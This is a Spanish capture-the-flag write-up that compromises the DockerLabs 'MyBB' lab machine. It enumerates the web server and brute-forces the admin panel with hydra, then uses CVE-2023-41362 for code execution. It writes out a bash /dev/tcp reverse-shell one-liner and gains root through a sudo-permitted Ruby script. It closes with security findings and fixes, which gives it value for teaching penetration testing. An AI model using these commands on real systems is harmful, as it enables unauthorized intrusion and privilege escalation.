MyBB
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento detalla la resolución completa de la máquina MyBB, desarrollada por Pylon para DockerLabs y clasificada con un nivel de dificultad Medio.
El objetivo es guiar paso a paso el proceso de compromiso del sistema:
- Reconocimiento: Identificación de puertos y servicios expuestos.
- Explotación: Obtención de ejecución remota de comandos (RCE) mediante vulnerabilidades en la aplicación web.
- Escalada de privilegios: Abuso de configuraciones indebidas en
sudohasta obtener acceso comoroot.
Todo el procedimiento se realizó en el entorno aislado de DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | MyBB |
| Autor | Pylon |
| Dificultad | Medio |
| Fecha | 17/06/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimimos y desplegamos la máquina:
unzip MyBB.zipsudo bash auto_deploy.sh MyBB.tar
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»mkdir -p MyBB/{content,exploits,nmap,gobuster,scripts}cd MyBB1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos abiertos identificados:
- 80/tcp — HTTP

1.3 Enumeración HTTP
Sección titulada «1.3 Enumeración HTTP»Iniciamos con un escaneo básico:
feroxbuster -u http://172.17.0.2 -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/DirectoryList2.3-medium.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403Este primer escaneo no muestra rutas importantes. Sin embargo, revisando manualmente el index, encontramos un dominio:
panel.mybb.dl
Lo agregamos a /etc/hosts.
Realizamos un segundo escaneo:
feroxbuster -u http://panel.mybb.dl -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403Se encuentran múltiples rutas relevantes:

Rutas relevantes:
- / — Página principal del sitio.
- /backups — Directorio navegable que contiene un archivo
data.
- /admin — Panel de inicio de sesión.

Paso 2 — Explotación (acceso inicial)
Sección titulada «Paso 2 — Explotación (acceso inicial)»En el directorio /backups encontramos el archivo data, que contiene:

Entre los registros aparece una contraseña hasheada, que crackeamos con John:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt alice.hashResultado:

Esto nos da credenciales para alice, aunque no funcionan en el login /admin.
Guardamos esos datos: serán útiles más adelante.
Ataque de fuerza bruta al usuario admin
Sección titulada «Ataque de fuerza bruta al usuario admin»Sabemos que el panel usa MyBB, así que intentamos fuerza bruta:
hydra -l 'admin' -P /usr/share/wordlists/rockyou.txt \ panel.mybb.dl http-post-form \ "/admin/index.php:username=^USER^&password=^PASS^&do=login:username and password"Tras varios falsos positivos, la última credencial es válida y accedemos al panel de administración.
Dentro del panel observamos la versión:
MyBB 1.8.35
Esta versión es vulnerable a CVE-2023-41362 (RCE en el ACP).
Usamos este exploit:
👉 https://github.com/SorceryIE/CVE-2023-41362_MyBB_ACP_RCE
Lo ejecutamos:
exploit.py http://panel.mybb.dl admin babygirlEsto nos da una pseudo-shell. Intentamos obtener una reverse shell:
Reverse shell
Sección titulada «Reverse shell»Listener:
nc -nlvp 443En la pseudo-shell:
/bin/bash -c '/bin/bash -i >& /dev/tcp/172.17.0.1/443 0>&1'Y obtenemos acceso como www-data:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De www-data → Alice
Sección titulada «3.1 De www-data → Alice»Aquí utilizamos las credenciales previamente crackeadas.
su alice
3.2 De Alice → Root
Sección titulada «3.2 De Alice → Root»Permisos sudo:

Alice puede ejecutar cualquier script .rb dentro de ~/scripts como root.
Creamos uno malicioso:
echo 'exec "/bin/bash"' > ~/scripts/shell.rbchmod +x ~/scripts/shell.rbsudo ./shell.rbCon esto obtenemos root:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Contraseña de usuario almacenada en texto plano dentro de archivos de respaldo.
- Panel MyBB sin actualización, vulnerable a RCE (CVE-2023-41362).
- Permisos
sudoexcesivamente amplios para el usuario alice, permitiendo ejecución arbitraria de scripts Ruby. - Directorios accesibles sin autenticación (
/backups).
Recomendaciones
Sección titulada «Recomendaciones»- Actualizar MyBB a la última versión disponible.
- Proteger directorios sensibles como
/backupsy restringir listados. - Usar hashing moderno (bcrypt/argon2) para contraseñas.
- Limitar permisos
sudoy aplicar principio de mínimo privilegio. - Implementar monitoreo y alertas para detectar accesos no autorizados.